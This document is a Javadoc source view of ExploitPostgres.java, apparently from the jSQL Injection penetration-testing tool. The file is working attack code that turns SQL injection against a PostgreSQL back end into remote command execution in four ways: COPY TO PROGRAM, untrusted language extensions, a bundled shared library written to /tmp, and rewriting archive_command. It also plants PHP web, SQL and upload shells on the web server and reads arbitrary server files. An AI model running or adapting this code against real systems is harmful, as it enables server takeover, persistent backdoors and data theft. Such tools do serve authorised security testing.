View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.engine.postgres.ModelYamlPostgres;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.model.suspendable.Input;
9   import com.jsql.util.ThreadUtil;
10  import com.jsql.view.subscriber.Seal;
11  import com.jsql.model.exception.AbstractSlidingException;
12  import com.jsql.model.exception.InjectionFailureException;
13  import com.jsql.model.exception.JSqlException;
14  import com.jsql.model.exception.JSqlRuntimeException;
15  import com.jsql.model.injection.engine.model.EngineYaml;
16  import com.jsql.model.suspendable.SuspendableGetRows;
17  import com.jsql.util.LogLevelUtil;
18  import com.jsql.util.StringUtil;
19  import org.apache.commons.lang3.RandomStringUtils;
20  import org.apache.commons.lang3.StringUtils;
21  import org.apache.logging.log4j.LogManager;
22  import org.apache.logging.log4j.Logger;
23  import org.yaml.snakeyaml.Yaml;
24  
25  import java.io.File;
26  import java.io.FileInputStream;
27  import java.io.IOException;
28  import java.io.InputStream;
29  import java.net.http.HttpResponse;
30  import java.util.Arrays;
31  import java.util.List;
32  import java.util.Objects;
33  import java.util.UUID;
34  import java.util.function.BinaryOperator;
35  
36  public class ExploitPostgres {
37  
38      private static final Logger LOGGER = LogManager.getRootLogger();
39      private final InjectionModel injectionModel;
40      private String nameExtension = StringUtils.EMPTY;
41      private final ModelYamlPostgres modelYaml;
42  
43      public ExploitPostgres(InjectionModel injectionModel) {
44          this.injectionModel = injectionModel;
45          var yaml = new Yaml();
46          this.modelYaml = yaml.loadAs(
47              injectionModel.getMediatorEngine().getPostgres().instance().getModelYaml().getResource().getExploit(),
48              ModelYamlPostgres.class
49          );
50      }
51  
52      public void createUdf(String nameExtension) throws JSqlException {
53          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
54  
55          if (StringUtils.isNotEmpty(nameExtension)) {
56              this.setRceExtensionWhenActive(false, nameExtension);
57          } else {
58              var isUdfActive = this.setRceProgramWhenActive();
59              isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
60              isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
61              this.setRceArchiveWhenActive(isUdfActive);
62          }
63      }
64  
65      private String getCreateBasicExtension() {
66          String plCreateExtension = null;
67          if (this.nameExtension.startsWith("plpython")) {
68              plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
69          } else if (this.nameExtension.startsWith("plperl")) {
70              plCreateExtension = this.modelYaml.getUdf().getPlperl();
71          } else if (this.nameExtension.startsWith("pltcl")) {
72              plCreateExtension = this.modelYaml.getUdf().getPltcl();
73          } else if (this.nameExtension.startsWith("plr")) {
74              plCreateExtension = this.modelYaml.getUdf().getPlr();
75          } else if (this.nameExtension.startsWith("pllua")) {
76              plCreateExtension = this.modelYaml.getUdf().getPllua();
77          } else if (this.nameExtension.startsWith("plsh")) {
78              plCreateExtension = this.modelYaml.getUdf().getPlsh();
79          }
80          return plCreateExtension;
81      }
82  
83      private boolean setRceProgramWhenActive() {
84          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
85          var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
86          this.injectionModel.injectWithoutIndex(String.format(
87              this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
88              nameTempTable
89          ), ResourceAccess.TBL_CREATE);
90          this.injectionModel.injectWithoutIndex(String.format(
91              this.modelYaml.getUdf().getProgram().getRun(),
92              nameTempTable,
93              ResourceAccess.WEB_CONFIRM_CMD
94          ), ResourceAccess.TBL_FILL);
95          var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
96              this.modelYaml.getUdf().getProgram().getGetResult(),
97              nameTempTable
98          ), ResourceAccess.TBL_READ);
99          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
100             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
101             this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceProgramCmd));
102             return true;
103         }
104         return false;
105     }
106 
107     private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
108         if (isUdfActive) {
109             return true;
110         }
111         if (StringUtils.isNotEmpty(nameExtension)) {
112             this.nameExtension = this.getExtensionWhenCreated(nameExtension);  // could fail but IT only
113             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
114         } else {
115             this.nameExtension = StringUtils.EMPTY;
116             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
117             for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
118                 if (StringUtils.isEmpty(this.nameExtension)) {
119                     this.nameExtension = this.getExtensionWhenCreated(ext);
120                 }
121             }
122             if (StringUtils.isEmpty(this.nameExtension)) {
123                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
124                 return false;
125             }
126         }
127 
128         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
129 
130         String plCreateBasicExtension = this.getCreateBasicExtension();
131         if (plCreateBasicExtension != null) {
132             this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
133         } else if (this.nameExtension.startsWith("sql")) {
134             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
135             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
136             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
137             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
138             var result = this.injectionModel.getResourceAccess().getResult(
139                 String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
140                 ResourceAccess.BODY_CONFIRM
141             );
142             if (!"1337".equals(result)) {
143                 return false;
144             }
145         }
146 
147         var functions = this.injectionModel.getResourceAccess().getResult(
148             this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
149             ResourceAccess.BODY_CONFIRM
150         );
151         if (!functions.contains("exec_cmd")) {
152             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
153             return false;
154         }
155 
156         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
157         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceExtensionCmd));
158         return true;
159     }
160 
161     public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
162         if (isUdfActive) {
163             return true;
164         }
165 
166         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
167         this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
168         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
169             this.modelYaml.getUdf().getLibrary().getLoFromText(),
170             String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
171         ), ResourceAccess.ADD_LOID);
172         if (StringUtils.isEmpty(loid)) {
173             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
174             return false;
175         }
176         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
177         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
178             this.modelYaml.getUdf().getLibrary().getLoToFile(),
179             loid,
180             "/tmp/" + nameExploit
181         ), ResourceAccess.WRITE_LOID);
182         this.injectionModel.injectWithoutIndex(String.format(
183             this.modelYaml.getUdf().getLibrary().getCreateFunction(),
184             "/tmp/" + nameExploit
185         ), ResourceAccess.ADD_FUNC);
186         String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
187             this.modelYaml.getUdf().getLibrary().getRunFunc(),
188             ResourceAccess.WEB_CONFIRM_CMD + "%20"
189         ), "confirm");
190         if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
191             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
192             return false;
193         }
194         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
195         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceLibraryCmd));
196         return true;
197     }
198 
199     private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
200         if (isUdfActive) {
201             return;
202         }
203 
204         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
205         if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
206             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
207             this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceArchiveCmd));
208         }
209     }
210 
211     private static List<String> toHexChunks(String filename) throws JSqlException {
212         try {
213             byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
214                 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
215             ).readAllBytes();
216             return StringUtil.toHexChunks(fileData);
217         } catch (IOException e) {
218             throw new JSqlException(e);
219         }
220     }
221 
222     public String runRceLibraryCmd(String command, UUID uuidShell) {
223         String result;
224         try {
225             result = this.injectionModel.getResourceAccess().getResult(String.format(
226                 this.modelYaml.getUdf().getLibrary().getRunFunc(),
227                 command.replace(StringUtils.SPACE, "%20") + "%20"
228             ), ResourceAccess.RUN_FUNC);
229         } catch (JSqlException e) {
230             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
231         }
232         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
233             uuidShell,
234             result.trim() +"\n"  // missing newline on some extensions
235         ));
236         return result;
237     }
238 
239     private String runArchive(String command) throws JSqlException {
240         boolean isSetup = command == null;
241         String pathResult = "/tmp/cmd.txt";
242 
243         String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
244         if (isSetup && !status.contains("on")) {
245             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
246             return StringUtils.EMPTY;
247         }
248 
249         String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
250         String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
251             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
252             pathConf
253         ), "conf#loid");
254         String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
255             this.modelYaml.getUdf().getArchive().getGetConfLength(),
256             loidConf
257         ), "conf#size");
258 
259         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
260             this.modelYaml.getUdf().getArchive().getPutCmd(),
261             loidConf,
262             lengthConf,
263             isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
264             pathResult
265         ), "conf#append");
266 
267         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
268             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
269             loidConf,
270             pathConf
271         ), "conf#write");
272         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
273 
274         String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
275         if (isSetup && !cmdArchive.contains(pathResult)) {
276             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
277             return StringUtils.EMPTY;
278         }
279 
280         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
281         ThreadUtil.sleep(750);  // wait for result as archiving is slow
282         String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
283             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
284             pathResult
285         ), "result#loid");
286         String result = this.injectionModel.getResourceAccess().getResult(String.format(
287             this.modelYaml.getFile().getRead().getLargeObject().getToText(),
288             loidResult
289         ), "result#read");
290 
291         if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
292             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
293             return StringUtils.EMPTY;
294         }
295         return result;
296     }
297 
298     private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
299         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
300         this.injectionModel.injectWithoutIndex(String.format(
301             this.modelYaml.getUdf().getExtension().getCreate(),
302             nameExtension
303         ), "body#add-ext");
304         String languages = this.injectionModel.getResourceAccess().getResult(
305             this.modelYaml.getUdf().getExtension().getLanguages(),
306             "body#confirm-ext"
307         );
308         if (languages.contains(nameExtension)) {
309             LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
310             return nameExtension;
311         }
312         LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
313         return StringUtils.EMPTY;
314     }
315 
316     public String runRceArchiveCmd(String command, UUID uuidShell) {
317         String result;
318         try {
319             result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
320         } catch (JSqlException e) {
321             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
322         }
323         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
324             uuidShell,
325             result.trim() +"\n"  // missing newline on some extensions
326         ));
327         return result;
328     }
329 
330     public String runRceProgramCmd(String command, UUID uuidShell) {
331         String result;
332         try {
333             var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
334             this.injectionModel.injectWithoutIndex(String.format(
335                 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
336                 nameTempTable
337             ), ResourceAccess.TBL_CREATE);
338             this.injectionModel.injectWithoutIndex(String.format(
339                 this.modelYaml.getUdf().getProgram().getRun(),
340                 nameTempTable,
341                 command.replace(StringUtils.SPACE, "%20") +"%20"
342             ), ResourceAccess.TBL_FILL);
343             result = this.injectionModel.getResourceAccess().getResult(String.format(
344                 this.modelYaml.getUdf().getProgram().getGetResult(),
345                 nameTempTable
346             ), ResourceAccess.TBL_READ);
347         } catch (JSqlException e) {
348             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
349         }
350         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
351             uuidShell,
352             result.trim() +"\n"  // missing newline on some extensions
353         ));
354         return result;
355     }
356 
357     public String runRceExtensionCmd(String command, UUID uuidShell) {
358         String result;
359         try {
360             if ("sql".equals(this.nameExtension)) {
361                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
362                 this.injectionModel.injectWithoutIndex(String.format(
363                     this.modelYaml.getUdf().getSql().getRunFunc(),
364                     command.replace(StringUtils.SPACE, "%20")
365                 ), ResourceAccess.ADD_FUNC);
366                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
367                 result = this.injectionModel.getResourceAccess().getResult(String.format(
368                     this.modelYaml.getUdf().getSql().getResultCmd(),
369                     EngineYaml.TRAIL_SQL
370                 ), "body#result") +"\n";
371             } else {
372                 result = this.injectionModel.getResourceAccess().getResult(
373                     String.format(
374                         this.modelYaml.getUdf().getRunFunc(),
375                         command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
376                         EngineYaml.TRAIL_SQL
377                     ),
378                     ResourceAccess.UDF_RUN_CMD
379                 );
380             }
381         } catch (JSqlException e) {
382             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
383         }
384         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
385             uuidShell,
386             result.trim() +"\n"  // missing newline on some extensions
387         ));
388         return result;
389     }
390 
391     public String createWeb(String pathExploit, String urlExploit) {
392         String bodyExploit = StringUtil.base64Decode(
393                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
394             )
395             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
396             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
397 
398         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
399             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
400             bodyExploit.replace("'", "\"")
401         ), ResourceAccess.ADD_LOID);
402         if (StringUtils.isEmpty(loid)) {
403             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
404             return StringUtils.EMPTY;
405         }
406         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
407         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
408             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
409             loid,
410             pathExploit + nameExploit
411         ), ResourceAccess.WRITE_LOID);
412 
413         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
414             String result = this.injectionModel.getResourceAccess().callCommand(
415                 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
416             );
417             if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
418                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
419                 return StringUtils.EMPTY;
420             }
421             this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
422             return urlSuccess;
423         };
424 
425         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
426     }
427 
428     public String createSql(String pathExploit, String urlExploit, String username, String password) {
429         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
430             var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
431                 ResourceAccess.SQL_CONFIRM_CMD,
432                 null,
433                 urlSuccess,
434                 username,
435                 password,
436                 false
437             );
438             if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
439                 this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
440                 return urlSuccess;
441             }
442             return StringUtils.EMPTY;
443         };
444 
445         String bodyExploit = StringUtil.base64Decode(
446                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.sql.pdo.pgsql")
447             )
448             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
449             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
450 
451         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
452             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
453             bodyExploit.replace("'", "\"")
454         ), ResourceAccess.ADD_LOID);
455         if (StringUtils.isEmpty(loid)) {
456             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
457             return StringUtils.EMPTY;
458         }
459         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
460         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
461             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
462             loid,
463             pathExploit + nameExploit
464         ), ResourceAccess.WRITE_LOID);
465 
466         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
467     }
468 
469     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
470         String bodyExploit = StringUtil.base64Decode(
471                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
472             )
473             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
474             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
475 
476         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
477             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
478             bodyExploit.replace("'", "\"")
479         ), ResourceAccess.ADD_LOID);
480         if (StringUtils.isEmpty(loid)) {
481             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
482             return;
483         }
484         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
485         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
486             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
487             loid,
488             pathExploit + nameExploit
489         ), ResourceAccess.WRITE_LOID);
490 
491         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
492             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
493                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
494                 if (result.body().contains(DataAccess.LEAD +"y")) {
495                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
496                 } else {
497                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
498                 }
499             } catch (InterruptedException e) {
500                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
501                 Thread.currentThread().interrupt();
502             } catch (IOException | JSqlException e) {
503                 throw new JSqlRuntimeException(e);
504             }
505             return urlSuccess;
506         };
507 
508         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
509     }
510 
511     public String getRead(String pathFile) throws AbstractSlidingException {
512         String resultToParse = StringUtils.EMPTY;
513         try {
514             resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
515                 String.format(
516                     this.modelYaml.getFile().getRead().getFromDataFolder(),
517                     pathFile
518                 ),
519                 new String[]{ StringUtils.EMPTY },
520                 false,
521                 1,
522                 MockElement.MOCK,
523                 ResourceAccess.FILE_READ
524             ));
525         } catch (InjectionFailureException e) {
526             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
527             var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
528                 this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
529                 pathFile
530             ), ResourceAccess.ADD_LOID);
531             if (StringUtils.isNotEmpty(loid)) {
532                 resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
533                     this.modelYaml.getFile().getRead().getLargeObject().getToText(),
534                     loid
535                 ), ResourceAccess.READ_LOID);
536             }
537             if (StringUtils.isEmpty(resultToParse)) {
538                 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
539                 var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);  // no dash in table name
540                 this.injectionModel.injectWithoutIndex(String.format(
541                     this.modelYaml.getFile().getWrite().getTempTable().getDrop(),
542                     nameLibraryRandom
543                 ), ResourceAccess.TBL_DROP);
544                 this.injectionModel.injectWithoutIndex(String.format(
545                     this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
546                     nameLibraryRandom
547                 ), ResourceAccess.TBL_CREATE);
548                 this.injectionModel.injectWithoutIndex(String.format(
549                     this.modelYaml.getFile().getWrite().getTempTable().getFill(),
550                     nameLibraryRandom,
551                     pathFile
552                 ), ResourceAccess.TBL_FILL);
553                 resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
554                     String.format(
555                         this.modelYaml.getFile().getRead().getFromTempTable(),
556                         nameLibraryRandom
557                     ),
558                     new String[]{ StringUtils.EMPTY },
559                     false,
560                     1,
561                     MockElement.MOCK,
562                     ResourceAccess.TBL_READ
563                 ));
564             }
565         }
566         return resultToParse;
567     }
568 }